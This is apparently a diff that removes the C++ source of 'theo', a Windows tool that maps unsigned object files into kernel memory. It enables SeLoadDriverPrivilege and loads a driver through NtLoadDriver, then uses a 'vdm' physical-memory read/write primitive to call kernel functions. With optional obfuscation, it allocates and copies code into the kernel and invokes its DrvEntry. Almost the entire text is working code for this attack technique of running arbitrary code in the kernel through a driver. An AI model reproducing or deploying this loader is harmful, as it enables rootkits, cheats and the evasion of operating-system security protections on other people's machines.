std::uint8_t type_value = 1;
|
||||
result = RegSetValueExA(
|
||||
reg_handle,
|
||||
"Type",
|
||||
NULL,
|
||||
REG_DWORD,
|
||||
&type_value,
|
||||
4u
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
std::uint8_t error_control_value = 3;
|
||||
result = RegSetValueExA(
|
||||
reg_handle,
|
||||
"ErrorControl",
|
||||
NULL,
|
||||
REG_DWORD,
|
||||
&error_control_value,
|
||||
4u
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
std::uint8_t start_value = 3;
|
||||
result = RegSetValueExA(
|
||||
reg_handle,
|
||||
"Start",
|
||||
NULL,
|
||||
REG_DWORD,
|
||||
&start_value,
|
||||
4u
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
result = RegSetValueExA(
|
||||
reg_handle,
|
||||
"ImagePath",
|
||||
NULL,
|
||||
REG_SZ,
|
||||
(std::uint8_t*) drv_path.c_str(),
|
||||
drv_path.size()
|
||||
);
|
||||
|
||||
if (result != ERROR_SUCCESS)
|
||||
return false;
|
||||
|
||||
return ERROR_SUCCESS == RegCloseKey(reg_handle);
|
||||
}
|
||||
|
||||
__forceinline auto enable_privilege(const std::wstring& privilege_name) -> bool
|
||||
{
|
||||
HANDLE token_handle = nullptr;
|
||||
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
|
||||
return false;
|
||||
|
||||
LUID luid{};
|
||||
if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid))
|
||||
return false;
|
||||
|
||||
TOKEN_PRIVILEGES token_state{};
|
||||
token_state.PrivilegeCount = 1;
|
||||
token_state.Privileges[0].Luid = luid;
|
||||
token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
|
||||
return false;
|
||||
|
||||
CloseHandle(token_handle);
|
||||
return true;
|
||||
}
|
||||
|
||||
__forceinline auto get_service_image_path(const std::string& service_name) -> std::string
|
||||
{
|
||||
HKEY reg_handle;
|
||||
DWORD bytes_read;
|
||||
char image_path[0xFF];
|
||||
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||
|
||||
auto result = RegOpenKeyA(
|
||||
HKEY_LOCAL_MACHINE,
|
||||
reg_key.c_str(),
|
||||
®_handle
|
||||
);
|
||||
|
||||
result = RegGetValueA(
|
||||
reg_handle,
|
||||
service_name.c_str(),
|
||||
"ImagePath",
|
||||
REG_SZ,
|
||||
NULL,
|
||||
image_path,
|
||||
&bytes_read
|
||||
);
|
||||
|
||||
RegCloseKey(reg_handle);
|
||||
return std::string(image_path);
|
||||
}
|
||||
}
|
||||
|
||||
__forceinline auto load(const std::string& drv_path, const std::string& service_name) -> NTSTATUS
|
||||
{
|
||||
if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
|
||||
return false;
|
||||
|
||||
if (!util::create_service_entry("\\??\\" +
|
||||
std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
|
||||
return false;
|
||||
|
||||
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
|
||||
reg_path += service_name;
|
||||
|
||||
ANSI_STRING driver_rep_path_cstr;
|
||||
UNICODE_STRING driver_reg_path_unicode;
|
||||
|
||||
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
|
||||
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
|
||||
return NtLoadDriver(&driver_reg_path_unicode);
|
||||
}
|
||||
|
||||
__forceinline auto load(const std::vector<std::uint8_t>& drv_buffer) -> std::pair<NTSTATUS, std::string>
|
||||
{
|
||||
static const auto random_file_name = [](std::size_t length) -> std::string
|
||||
{
|
||||
std::srand(std::time(0));
|
||||
static const auto randchar = []() -> char
|
||||
{
|
||||
const char charset[] =
|
||||
"0123456789"
|
||||
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
"abcdefghijklmnopqrstuvwxyz";
|
||||
const std::size_t max_index = (sizeof(charset) - 1);
|
||||
return charset[rand() % max_index];
|
||||
};
|
||||
|
||||
std::string str(length, 0);
|
||||
std::generate_n(str.begin(), length, randchar);
|
||||
return str;
|
||||
};
|
||||
|
||||
const auto service_name = random_file_name(16);
|
||||
const auto file_path = std::filesystem::temp_directory_path().string() + service_name;
|
||||
std::ofstream output_file(file_path.c_str(), std::ios::binary);
|
||||
|
||||
output_file.write((char*)drv_buffer.data(), drv_buffer.size());
|
||||
output_file.close();
|
||||
|
||||
return { load(file_path, service_name), service_name };
|
||||
}
|
||||
|
||||
__forceinline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::pair<NTSTATUS, std::string>
|
||||
{
|
||||
std::vector<std::uint8_t> image(buffer, buffer + size);
|
||||
return load(image);
|
||||
}
|
||||
|
||||
__forceinline auto unload(const std::string& service_name) -> NTSTATUS
|
||||
{
|
||||
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
|
||||
reg_path += service_name;
|
||||
|
||||
ANSI_STRING driver_rep_path_cstr;
|
||||
UNICODE_STRING driver_reg_path_unicode;
|
||||
|
||||
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
|
||||
RtlAnsiStringToUnicodeString(
|
||||
&driver_reg_path_unicode, &driver_rep_path_cstr, true);
|
||||
|
||||
const bool unload_result =
|
||||
NtUnloadDriver(&driver_reg_path_unicode);
|
||||
|
||||
util::delete_service_entry(service_name);
|
||||
// sometimes you cannot delete the driver off disk because there are still handles open
|
||||
// to the driver, this means the driver is still loaded into the kernel...
|
||||
try
|
||||
{
|
||||
std::filesystem::remove(
|
||||
std::filesystem::temp_directory_path()
|
||||
.string() + service_name);
|
||||
}
|
||||
catch (std::exception& e)
|
||||
{
|
||||
return STATUS_ABANDONED;
|
||||
}
|
||||
return unload_result;
|
||||
}
|
||||
}
|
@ -1,229 +0,0 @@
|
||||
#include <iostream>
|
||||
#include <filesystem>
|
||||
|
||||
#include "theo.h"
|
||||
#include "linker.hpp"
|
||||
#include "vdm_ctx/vdm_ctx.hpp"
|
||||
#include "utils.hpp"
|
||||
|
||||
using extern_symbols_t = std::vector<std::pair<std::string, lnk::map_symbols_t>>;
|
||||
using objs_buffer_t = std::vector<lnk::obj_buffer_t>;
|
||||
|
||||
auto get_mapping_info(int argc, char** argv) -> std::pair<objs_buffer_t, extern_symbols_t>
|
||||
{
|
||||
auto maps_offset = 0u;
|
||||
std::vector<lnk::obj_buffer_t> image_objs;
|
||||
std::vector<std::pair<std::string, lnk::map_symbols_t>> extern_symbols;
|
||||
|
||||
for (auto idx = 2; idx < argc; ++idx)
|
||||
{
|
||||
if (!strcmp(argv[idx], "--maps"))
|
||||
{
|
||||
maps_offset = idx + 1;
|
||||
break;
|
||||
}
|
||||
|
||||
// another flag so we break...
|
||||
if (argv[idx][0] == '-' && argv[idx][1] == '-')
|
||||
continue;
|
||||
|
||||
if (!lnk::get_objs(argv[idx], image_objs))
|
||||
{
|
||||
std::printf("> failed to parse lib...\n");
|
||||
return {};
|
||||
}
|
||||
}
|
||||
|
||||
if (maps_offset)
|
||||
{
|
||||
for (auto idx = maps_offset; idx <= argc - 1; ++idx)
|
||||
{
|
||||
extern_symbols.push_back
|
||||
({
|
||||
std::filesystem::path(argv[idx]).stem().string(),
|
||||
lnk::get_map_symbols(argv[idx])
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
return { image_objs, extern_symbols };
|
||||
}
|
||||
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
if (argc < 3 || strcmp(argv[1], "--libs"))
|
||||
{
|
||||
std::printf("[!] invalid usage... please use one of the following:\n");
|
||||
std::printf("\t\t> theo.exe --libs one.lib two.lib three.lib\n");
|
||||
std::printf("\t\t> theo.exe --libs one.lib --maps ntoskrnl.exe.map win32kbase.sys.map\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
for (auto idx = 3; idx < argc; ++idx)
|
||||
if (!strcmp(argv[idx], "--debug"))
|
||||
dbg_print = true;
|
||||
|
||||
auto [image_objs, extern_symbols] = get_mapping_info(argc, argv);
|
||||
std::printf("[+] number of objs = %d\n", image_objs.size());
|
||||
|
||||
if (!image_objs.size())
|
||||
{
|
||||
std::printf("[!] failed to parse .lib...\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
const auto [drv_handle, drv_key, drv_status] = vdm::load_drv();
|
||||
if (drv_status != STATUS_SUCCESS || drv_handle == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
std::printf("> failed to load driver... reason -> 0x%x\n", drv_status);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// read physical memory using the driver...
|
||||
vdm::read_phys_t _read_phys =
|
||||
[&](void* addr, void* buffer, std::size_t size) -> bool
|
||||
{
|
||||
return vdm::read_phys(addr, buffer, size);
|
||||
};
|
||||
|
||||
// write physical memory using the driver...
|
||||
vdm::write_phys_t _write_phys =
|
||||
[&](void* addr, void* buffer, std::size_t size) -> bool
|
||||
{
|
||||
return vdm::write_phys(addr, buffer, size);
|
||||
};
|
||||
|
||||
// use VDM to syscall into ExAllocatePool...
|
||||
vdm::vdm_ctx vdm(_read_phys, _write_phys);
|
||||
theo::malloc_t _kalloc =
|
||||
[&](std::size_t size, std::uint32_t prot) -> void*
|
||||
{
|
||||
using ex_alloc_pool_t =
|
||||
void* (*)(std::uint32_t, std::uint32_t);
|
||||
|
||||
static const auto ex_alloc_pool =
|
||||
reinterpret_cast<void*>(
|
||||
utils::kmodule::get_export(
|
||||
"ntoskrnl.exe", "ExAllocatePool"));
|
||||
|
||||
return vdm.syscall<ex_alloc_pool_t>(ex_alloc_pool, NULL, size);
|
||||
};
|
||||
|
||||
// use VDM to syscall into memcpy exported by ntoskrnl.exe...
|
||||
theo::memcpy_t _kmemcpy =
|
||||
[&](void* dest, const void* src, std::size_t size) -> void*
|
||||
{
|
||||
static const auto kmemcpy =
|
||||
reinterpret_cast<void*>(
|
||||
utils::kmodule::get_export(
|
||||
"ntoskrnl.exe", "memcpy"));
|
||||
|
||||
return vdm.syscall<decltype(&memcpy)>(kmemcpy, dest, src, size);
|
||||
};
|
||||
|
||||
theo::resolve_symbol_t resolve_symbol =
|
||||
[&, &extern_symbols = extern_symbols](const char* symbol_name) -> std::uintptr_t
|
||||
{
|
||||
std::uintptr_t result = 0u;
|
||||
utils::kmodule::each_module
|
||||
(
|
||||
[&](PRTL_PROCESS_MODULE_INFORMATION drv_info, const char* drv_path) -> bool
|
||||
{
|
||||
const auto drv_name =
|
||||
reinterpret_cast<const char*>(
|
||||
drv_info->OffsetToFileName + drv_info->FullPathName);
|
||||
|
||||
// false if we found the symbol...
|
||||
return (!(result = utils::kmodule::get_export(drv_name, symbol_name)));
|
||||
}
|
||||
);
|
||||
|
||||
if (!result)
|
||||
{
|
||||
for (auto& [drv_name, drv_symbols] : extern_symbols)
|
||||
{
|
||||
// each kernel module... find a driver with a matching map file name...
|
||||
// I.E ntoskrnl.exe.map == ntoskrnl.exe...
|
||||
utils::kmodule::each_module
|
||||
(
|
||||
[&, &drv_name = drv_name, &drv_symbols = drv_symbols]
|
||||
(PRTL_PROCESS_MODULE_INFORMATION drv_info, const char* drv_path) -> bool
|
||||
{
|
||||
const auto _drv_name =
|
||||
reinterpret_cast<const char*>(
|
||||
drv_info->OffsetToFileName + drv_info->FullPathName);
|
||||
|
||||
// if this is the driver, load it, loop over its sections
|
||||
// calc the absolute virtual address of the symbol...
|
||||
if (!strcmp(_drv_name, drv_name.c_str()))
|
||||
{
|
||||
const auto drv_load_addr =
|
||||
reinterpret_cast<std::uintptr_t>(
|
||||
LoadLibraryExA(drv_path, NULL, DONT_RESOLVE_DLL_REFERENCES));
|
||||
|
||||
std::uint32_t section_count = 1u;
|
||||
utils::pe::each_section
|
||||
(
|
||||
[&, &drv_symbols = drv_symbols]
|
||||
(PIMAGE_SECTION_HEADER section_header, std::uintptr_t img_base) -> bool
|
||||
{
|
||||
if (section_count == drv_symbols[symbol_name].first)
|
||||
{
|
||||
result = reinterpret_cast<std::uintptr_t>(drv_info->ImageBase) +
|
||||
section_header->VirtualAddress + drv_symbols[symbol_name].second;
|
||||
|
||||
// we found the symbol...
|
||||
return false;
|
||||
}
|
||||
|
||||
++section_count;
|
||||
// keep going over sections...
|
||||
return true;
|
||||
}, drv_load_addr
|
||||
);
|
||||
}
|
||||
|
||||
// keep looping over modules until we resolve the symbol...
|
||||
return !result;
|
||||
}
|
||||
);
|
||||
|
||||
// if we found the symbol then break out of the loop... else keep looping...
|
||||
if (result) break;
|
||||
}
|
||||
}
|
||||
|
||||
// finally return the result...
|
||||
return result;
|
||||
};
|
||||
|
||||
theo::hmm_ctx drv_mapper({ _kalloc, _kmemcpy, resolve_symbol });
|
||||
if (!drv_mapper.map_objs(image_objs))
|
||||
{
|
||||
std::printf("[!] failed to map object files...\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
const auto drv_entry = drv_mapper.get_symbol("DrvEntry");
|
||||
std::printf("> driver entry -> 0x%p\n", drv_entry);
|
||||
std::getchar();
|
||||
|
||||
if (drv_entry)
|
||||
{
|
||||
// call driver entry... its up to you to do this using whatever method...
|
||||
// with VDM you can syscall into it... with msrexec you will use msrexec::exec...
|
||||
const auto entry_result =
|
||||
vdm.syscall<NTSTATUS(*)()>(
|
||||
reinterpret_cast<void*>(drv_entry));
|
||||
}
|
||||
|
||||
const auto unload_status = vdm::unload_drv(drv_handle, drv_key);
|
||||
if (unload_status != STATUS_SUCCESS)
|
||||
{
|
||||
std::printf("> failed to unload driver... reason -> 0x%x\n", unload_status);
|
||||
return -1;
|
||||
}
|
||||
|
||||
std::printf("> press enter to close...\n");
|
||||
std::getchar();
|
||||
}
|
@ -1,40 +0,0 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <functional>
|
||||
#include <map>
|
||||
|
||||
namespace obfuscation{ class obfuscate; }
|
||||
namespace lnk { using obj_buffer_t = std::vector<std::uint8_t>; }
|
||||
|
||||
namespace theo
|
||||
{
|
||||
using malloc_t = std::function<void*(std::size_t bytes, std::uint32_t prot)>;
|
||||
using memcpy_t = std::function<decltype(memcpy)>;
|
||||
|
||||
using resolve_symbol_t = std::function<std::uintptr_t(const char*)>;
|
||||
using mapper_routines_t = std::tuple<malloc_t, memcpy_t, resolve_symbol_t>;
|
||||
|
||||
class hmm_ctx
|
||||
{
|
||||
public:
|
||||
explicit hmm_ctx(const mapper_routines_t& routines);
|
||||
auto map_objs(std::vector<lnk::obj_buffer_t>& objs) -> bool;
|
||||
auto get_symbol(std::string symbol_name) -> std::uintptr_t;
|
||||
|
||||
malloc_t alloc;
|
||||
memcpy_t mcopy;
|
||||
resolve_symbol_t resolve_symbol;
|
||||
private:
|
||||
bool map_symbols(std::vector<lnk::obj_buffer_t>& objs);
|
||||
bool map_obfuscated_symbols(std::vector<lnk::obj_buffer_t>& objs);
|
||||
|
||||
bool resolve_relocs(std::vector<lnk::obj_buffer_t>& objs);
|
||||
bool alloc_obfuscated_symbol_space(std::vector<lnk::obj_buffer_t>& objs);
|
||||
bool alloc_symbol_space(std::vector<lnk::obj_buffer_t>& objs);
|
||||
|
||||
std::map<std::string, std::uintptr_t> mapped_symbols;
|
||||
std::map<std::uintptr_t, std::shared_ptr<obfuscation::obfuscate>> obfuscated_gadgets;
|
||||
};
|
||||
}
|
@ -1,494 +0,0 @@
|
||||
/*
|
||||
WARNING: utils.hpp must be the first file included...
|
||||
this is because i use getenv and that requires _CRT_SECURE_NO_WARNINGS...
|
||||
*/
|
||||
|
||||
#pragma once
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
|
||||
#include <Windows.h>
|
||||
#include <winternl.h>
|
||||
#include <ntstatus.h>
|
||||
#include <tlhelp32.h>
|
||||
|
||||
#include <fstream>
|
||||
#include <functional>
|
||||
#include <cstdint>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <map>
|
||||
|
||||
#define PAGE_4KB 0x1000
|
||||
inline bool dbg_print = false;
|
||||
#define DBG_PRINT(format, ...) \
|
||||
if (dbg_print) std::printf(format, __VA_ARGS__ )
|
||||
|
||||
typedef struct _RTL_PROCESS_MODULE_INFORMATION
|
||||
{
|
||||
HANDLE Section;
|
||||
PVOID MappedBase;
|
||||
PVOID ImageBase;
|
||||
ULONG ImageSize;
|
||||
ULONG Flags;
|
||||
USHORT LoadOrderIndex;
|
||||
USHORT InitOrderIndex;
|
||||
USHORT LoadCount;
|
||||
USHORT OffsetToFileName;
|
||||
UCHAR FullPathName[256];
|
||||
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
|
||||
|
||||
typedef struct _RTL_PROCESS_MODULES
|
||||
{
|
||||
ULONG NumberOfModules;
|
||||
RTL_PROCESS_MODULE_INFORMATION Modules[1];
|
||||
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
|
||||
|
||||
#define SystemKernelVaShadowInformation (SYSTEM_INFORMATION_CLASS) 196
|
||||
typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION
|
||||
{
|
||||
struct
|
||||
{
|
||||
ULONG KvaShadowEnabled : 1;
|
||||
ULONG KvaShadowUserGlobal : 1;
|
||||
ULONG KvaShadowPcid : 1;
|
||||
ULONG KvaShadowInvpcid : 1;
|
||||
ULONG KvaShadowRequired : 1;
|
||||
ULONG KvaShadowRequiredAvailable : 1;
|
||||
ULONG InvalidPteBit : 6;
|
||||
ULONG L1DataCacheFlushSupported : 1;
|
||||
ULONG L1TerminalFaultMitigationPresent : 1;
|
||||
ULONG Reserved : 18;
|
||||
} KvaShadowFlags;
|
||||
} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, * PSYSTEM_KERNEL_VA_SHADOW_INFORMATION;
|
||||
|
||||
namespace utils
|
||||
{
|
||||
inline std::map<std::uintptr_t, std::size_t> pmem_ranges{};
|
||||
__forceinline auto is_valid(std::uintptr_t addr) -> bool
|
||||
{
|
||||
for (auto range : pmem_ranges)
|
||||
if (addr >= range.first && addr <= range.first + range.second)
|
||||
return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
#pragma pack (push, 1)
|
||||
struct PhysicalMemoryPage//CM_PARTIAL_RESOURCE_DESCRIPTOR
|
||||
{
|
||||
uint8_t type;
|
||||
uint8_t shareDisposition;
|
||||
uint16_t flags;
|
||||
uint64_t pBegin;
|
||||
uint32_t sizeButNotExactly;
|
||||
uint32_t pad;
|
||||
|
||||
static constexpr uint16_t cm_resource_memory_large_40{ 0x200 };
|
||||
static constexpr uint16_t cm_resource_memory_large_48{ 0x400 };
|
||||
static constexpr uint16_t cm_resource_memory_large_64{ 0x800 };
|
||||
|
||||
uint64_t size()const noexcept
|
||||
{
|
||||
if (flags & cm_resource_memory_large_40)
|
||||
return uint64_t{ sizeButNotExactly } << 8;
|
||||
else if (flags & cm_resource_memory_large_48)
|
||||
return uint64_t{ sizeButNotExactly } << 16;
|
||||
else if (flags & cm_resource_memory_large_64)
|
||||
return uint64_t{ sizeButNotExactly } << 32;
|
||||
else
|
||||
return uint64_t{ sizeButNotExactly };
|
||||
}
|
||||
};
|
||||
static_assert(sizeof(PhysicalMemoryPage) == 20);
|
||||
#pragma pack (pop)
|
||||
|
||||
inline const auto init_ranges = ([&]() -> bool
|
||||
{
|
||||
HKEY h_key;
|
||||
DWORD type, size;
|
||||
LPBYTE data;
|
||||
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory", 0, KEY_READ, &h_key);
|
||||
RegQueryValueEx(h_key, ".Translated", NULL, &type, NULL, &size); //get size
|
||||
data = new BYTE[size];
|
||||
RegQueryValueEx(h_key, ".Translated", NULL, &type, data, &size);
|
||||
DWORD count = *(DWORD*)(data + 16);
|
||||
auto pmi = data + 24;
|
||||
for (int dwIndex = 0; dwIndex < count; dwIndex++)
|
||||
{
|
||||
#if 0
|
||||
pmem_ranges.emplace(*(uint64_t*)(pmi + 0), *(uint64_t*)(pmi + 8));
|
||||
#else
|
||||
const PhysicalMemoryPage& page{ *(PhysicalMemoryPage*)(pmi - 4) };
|
||||
pmem_ranges.emplace(page.pBegin, page.size());
|
||||
#endif
|
||||
pmi += 20;
|
||||
}
|
||||
delete[] data;
|
||||
RegCloseKey(h_key);
|
||||
return true;
|
||||
})();
|
||||
|
||||
inline std::uintptr_t scan(std::uintptr_t base, std::uint32_t size, const char* pattern, const char* mask)
|
||||
{
|
||||
static const auto check_mask =
|
||||
[&](const char* base, const char* pattern, const char* mask) -> bool
|
||||
{
|
||||
for (; *mask; ++base, ++pattern, ++mask)
|
||||
if (*mask == 'x' && *base != *pattern)
|
||||
return false;
|
||||
return true;
|
||||
};
|
||||
|
||||
size -= strlen(mask);
|
||||
for (auto i = 0; i <= size; ++i)
|
||||
{
|
||||
void* addr = (void*)&(((char*)base)[i]);
|
||||
if (check_mask((char*)addr, pattern, mask))
|
||||
return reinterpret_cast<std::uintptr_t>(addr);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
inline void open_binary_file(const std::string& file, std::vector<uint8_t>& data)
|
||||
{
|
||||
std::ifstream fstr(file, std::ios::binary);
|
||||
fstr.unsetf(std::ios::skipws);
|
||||
fstr.seekg(0, std::ios::end);
|
||||
|
||||
const auto file_size = fstr.tellg();
|
||||
|
||||
fstr.seekg(NULL, std::ios::beg);
|
||||
data.reserve(static_cast<uint32_t>(file_size));
|
||||
data.insert(data.begin(), std::istream_iterator<uint8_t>(fstr), std::istream_iterator<uint8_t>());
|
||||
}
|
||||
|
||||
inline std::uint32_t get_pid(const char* proc_name)
|
||||
{
|
||||
PROCESSENTRY32 proc_info;
|
||||
proc_info.dwSize = sizeof(proc_info);
|
||||
|
||||
HANDLE proc_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
|
||||
if (proc_snapshot == INVALID_HANDLE_VALUE)
|
||||
return NULL;
|
||||
|
||||
Process32First(proc_snapshot, &proc_info);
|
||||
if (!std::strcmp(proc_info.szExeFile, proc_name))
|
||||
{
|
||||
CloseHandle(proc_snapshot);
|
||||
return proc_info.th32ProcessID;
|
||||
}
|
||||
|
||||
while (Process32Next(proc_snapshot, &proc_info))
|
||||
{
|
||||
if (!std::strcmp(proc_info.szExeFile, proc_name))
|
||||
{
|
||||
CloseHandle(proc_snapshot);
|
||||
return proc_info.th32ProcessID;
|
||||
}
|
||||
}
|
||||
|
||||
CloseHandle(proc_snapshot);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
namespace kmodule
|
||||
{
|
||||
using kmodule_callback_t = std::function<bool(PRTL_PROCESS_MODULE_INFORMATION, const char*)>;
|
||||
inline void each_module(kmodule_callback_t callback)
|
||||
{
|
||||
void* buffer = nullptr;
|
||||
DWORD buffer_size = NULL;
|
||||
|
||||
auto status = NtQuerySystemInformation(
|
||||
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||
buffer, buffer_size, &buffer_size);
|
||||
|
||||
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||
{
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
status = NtQuerySystemInformation(
|
||||
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||
buffer, buffer_size, &buffer_size);
|
||||
}
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return;
|
||||
}
|
||||
|
||||
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||
{
|
||||
auto full_path = std::string(
|
||||
reinterpret_cast<char*>(
|
||||
modules->Modules[idx].FullPathName));
|
||||
|
||||
if (full_path.find("\\SystemRoot\\") != std::string::npos)
|
||||
full_path.replace(full_path.find("\\SystemRoot\\"),
|
||||
sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\"));
|
||||
|
||||
else if (full_path.find("\\??\\") != std::string::npos)
|
||||
full_path.replace(full_path.find("\\??\\"),
|
||||
sizeof("\\??\\") - 1, "");
|
||||
|
||||
if (!callback(&modules->Modules[idx], full_path.c_str()))
|
||||
{
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return;
|
||||
}
|
||||
|
||||
inline std::uintptr_t get_base(const char* module_name)
|
||||
{
|
||||
void* buffer = nullptr;
|
||||
DWORD buffer_size = NULL;
|
||||
|
||||
auto status = NtQuerySystemInformation(
|
||||
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||
buffer, buffer_size, &buffer_size);
|
||||
|
||||
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||
{
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
status = NtQuerySystemInformation(
|
||||
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||
buffer, buffer_size, &buffer_size);
|
||||
}
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||
{
|
||||
const auto current_module_name =
|
||||
std::string(reinterpret_cast<char*>(
|
||||
modules->Modules[idx].FullPathName) +
|
||||
modules->Modules[idx].OffsetToFileName);
|
||||
|
||||
if (!_stricmp(current_module_name.c_str(), module_name))
|
||||
{
|
||||
const auto result =
|
||||
reinterpret_cast<std::uint64_t>(
|
||||
modules->Modules[idx].ImageBase);
|
||||
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
inline std::uintptr_t get_export(const char* module_name, const char* export_name)
|
||||
{
|
||||
void* buffer = nullptr;
|
||||
DWORD buffer_size = NULL;
|
||||
|
||||
NTSTATUS status = NtQuerySystemInformation(
|
||||
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||
buffer,
|
||||
buffer_size,
|
||||
&buffer_size
|
||||
);
|
||||
|
||||
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||
{
|
||||
VirtualFree(buffer, 0, MEM_RELEASE);
|
||||
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
status = NtQuerySystemInformation(
|
||||
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||
buffer,
|
||||
buffer_size,
|
||||
&buffer_size
|
||||
);
|
||||
}
|
||||
|
||||
if (!NT_SUCCESS(status))
|
||||
{
|
||||
VirtualFree(buffer, 0, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||
{
|
||||
// find module and then load library it
|
||||
const std::string current_module_name =
|
||||
std::string(reinterpret_cast<char*>(
|
||||
modules->Modules[idx].FullPathName) +
|
||||
modules->Modules[idx].OffsetToFileName
|
||||
);
|
||||
|
||||
if (!_stricmp(current_module_name.c_str(), module_name))
|
||||
{
|
||||
auto full_path = std::string(
|
||||
reinterpret_cast<char*>(
|
||||
modules->Modules[idx].FullPathName));
|
||||
|
||||
if (full_path.find("\\SystemRoot\\") != std::string::npos)
|
||||
full_path.replace(full_path.find("\\SystemRoot\\"),
|
||||
sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\"));
|
||||
|
||||
else if (full_path.find("\\??\\") != std::string::npos)
|
||||
full_path.replace(full_path.find("\\??\\"),
|
||||
sizeof("\\??\\") - 1, "");
|
||||
|
||||
const auto module_base =
|
||||
LoadLibraryExA(
|
||||
full_path.c_str(),
|
||||
NULL,
|
||||
DONT_RESOLVE_DLL_REFERENCES
|
||||
);
|
||||
|
||||
if (!module_base)
|
||||
{
|
||||
// free the RTL_PROCESS_MODULES buffer...
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
const auto image_base =
|
||||
reinterpret_cast<std::uintptr_t>(
|
||||
modules->Modules[idx].ImageBase);
|
||||
|
||||
// free the RTL_PROCESS_MODULES buffer...
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
|
||||
const auto export_um_addr =
|
||||
reinterpret_cast<std::uintptr_t>(
|
||||
GetProcAddress(module_base, export_name));
|
||||
|
||||
if (!export_um_addr)
|
||||
return NULL;
|
||||
|
||||
return (export_um_addr - reinterpret_cast<std::uintptr_t>(module_base)) + image_base;
|
||||
}
|
||||
}
|
||||
|
||||
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
